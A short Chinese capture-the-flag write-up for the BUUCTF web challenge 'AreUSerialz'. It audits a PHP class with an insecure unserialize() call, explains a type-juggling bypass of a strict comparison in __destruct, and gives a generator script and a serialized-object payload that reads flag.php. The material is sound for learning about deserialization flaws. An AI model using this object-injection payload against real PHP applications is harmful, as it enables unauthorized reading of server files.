[游戏开发]BUUCTF WEB AreUSerialz 1

这题跟php版本有关的
打开场景，直接源码审计

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

目标文件是flag.php，按照道理是public变量是没法覆盖默认的protected，但是php7.1版本以前对于这个变量类型不敏感，而且is_valid对特殊字符做了过滤
所以序列化的时候只能用public变量,数字2和"2"弱相等不是强相等，可以绕过destruct里面的判断

<?php

    class FileHandler {

        public  $op=2;
        public $filename="flag.php";
        public $content="wszx";
}
    $test = new FileHandler();
    echo(serialize($test));
?>

得到完整payload：?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:4:"wszx";}
参考视频链接：https://www.bilibili.com/video/BV1hT4y1o78A/